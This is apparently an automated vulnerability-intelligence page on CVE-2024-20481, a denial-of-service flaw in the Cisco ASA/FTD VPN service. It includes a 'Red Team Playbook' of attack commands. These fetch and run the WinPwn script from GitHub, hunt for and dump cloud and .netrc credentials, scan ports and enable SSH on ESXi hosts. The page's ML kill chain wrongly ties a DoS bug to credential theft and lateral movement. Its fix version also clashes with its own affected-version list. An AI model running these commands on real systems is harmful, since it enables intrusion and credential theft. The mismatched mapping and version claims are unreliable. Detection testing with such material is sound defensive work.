CVE-2024-20481

MEDIUM CISA KEV Pub 23/10 Upd 21/10

Overview

This vulnerability is a resource exhaustion flaw affecting the Remote Access VPN (RAVPN) service in Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) Software. It arises from the RAVPN service's inability to properly handle a high volume of unauthenticated VPN authentication requests, leading to depletion of critical system resources. The flaw specifically impacts the VPN authentication handling component, causing it to become unresponsive under excessive load conditions.

Vulnerability Description

A vulnerability in the Remote Access VPN (RAVPN) service of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) of the RAVPN service. This vulnerability is due to resource exhaustion. An attacker could exploit this vulnerability by sending a large number of VPN authentication requests to an affected device. A successful exploit could allow the attacker to exhaust resources, resulting in a DoS of the RAVPN service on the affected device. Depending on the impact of the attack, a reload of the device may be required to restore the RAVPN service. Services that are not related to VPN are not affected. Cisco Talos discussed these attacks in the blog post Large-scale brute-force activity targeting VPNs, SSH services with commonly used login credentials.

Impact

An unauthenticated remote attacker can exploit this vulnerability to cause a denial of service of the RAVPN service by overwhelming it with authentication requests. This disruption prevents legitimate VPN users from establishing remote access connections, potentially impacting remote workforce connectivity and secure network access. No user credentials or prior access is required to launch the attack. In some cases, the device may require a reload to restore VPN functionality, causing operational downtime and service interruption.

Solution

Cisco has released security updates addressing this issue in Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) Software versions 6.2.3.5 and later. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-asaftd-bf-dos-vDZhLqrW available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW. No specific workarounds are provided; timely application of the vendor-supplied software updates is required to remediate the vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Remote Access VPN (RAVPN) service of Cisco's Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software arises from a resource exhaustion issue. This flaw allows an unauthenticated remote attacker to send a flood of VPN authentication requests to the affected devices. The excessive number of requests can overwhelm the system's resources, leading to a denial of service (DoS) condition. In such a scenario, legitimate users would be unable to establish VPN connections, and the affected device may require a restart to restore normal functionality. This vulnerability is particularly concerning for organizations that rely on remote access for their operations, as it could disrupt business continuity.

Attack vectors for this vulnerability are straightforward yet effective. An attacker could leverage automated tools to generate a high volume of authentication requests, exploiting the lack of authentication checks on the RAVPN service. This could be executed from a remote location, making it difficult to trace the source of the attack. The simplicity of the attack method means that even individuals with limited technical skills could potentially execute a successful denial of service attack. Furthermore, the nature of the attack does not require sophisticated techniques or insider knowledge, thereby increasing the risk of exploitation.

The real-world impact of this vulnerability can be significant, particularly for businesses that depend on secure remote access for their workforce. A successful denial of service attack could lead to substantial operational disruptions, affecting productivity and potentially resulting in financial losses. Additionally, the inability to connect to the VPN could hinder critical business processes, such as remote work capabilities, secure data access, and client communications. The reputational damage from such an incident could also be severe, as clients and stakeholders may lose trust in an organization's ability to protect its infrastructure and maintain service availability.

To detect and mitigate this vulnerability, organizations should implement several strategies. Regular monitoring of network traffic can help identify unusual patterns, such as a sudden spike in VPN authentication requests, which may indicate an ongoing attack. Intrusion detection systems (IDS) can be configured to alert administrators of such anomalies, allowing for timely intervention. Additionally, rate limiting on the RAVPN service can be employed to restrict the number of authentication requests from a single source, thereby reducing the likelihood of resource exhaustion. Organizations should also ensure that they are running the latest versions of Cisco ASA and FTD software, as updates often include security patches that address known vulnerabilities.

In conclusion, the vulnerability in the RAVPN service of Cisco's ASA and FTD Software poses a tangible threat to organizations that rely on secure remote access. The potential for resource exhaustion leading to denial of service attacks underscores the importance of proactive security measures. By implementing robust detection and mitigation strategies, organizations can safeguard their infrastructure against exploitation and maintain the integrity of their remote access services. Continuous vigilance, combined with timely updates and monitoring, will be essential in mitigating the risks associated with this vulnerability.

Affected Products (289)

Vendor Product Version CPE
cisco Cisco Firepower Threat Defense Software 6.2.3 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.1 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.1:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.2 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.2:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.3 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.3:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.4 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.4:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.5 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.5:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.6 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.6:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.7 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.7:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.8 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.8:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.9 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.9:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.10 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.10:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.11 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.11:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.12 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.12:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.13 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.13:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.14 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.14:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.15 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.15:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.16 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.16:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.17 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.17:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.2.3.18 cpe:2.3:a:cisco:firepower_threat_defense_software:6.2.3.18:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense Software 6.4.0 cpe:2.3:a:cisco:firepower_threat_defense_software:6.4.0:*:*:*:*:*:*:*
+269 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-10-24
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Denial of Service
100% dos

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-469 HTTP DoS
70%
Low

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-20481
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-20481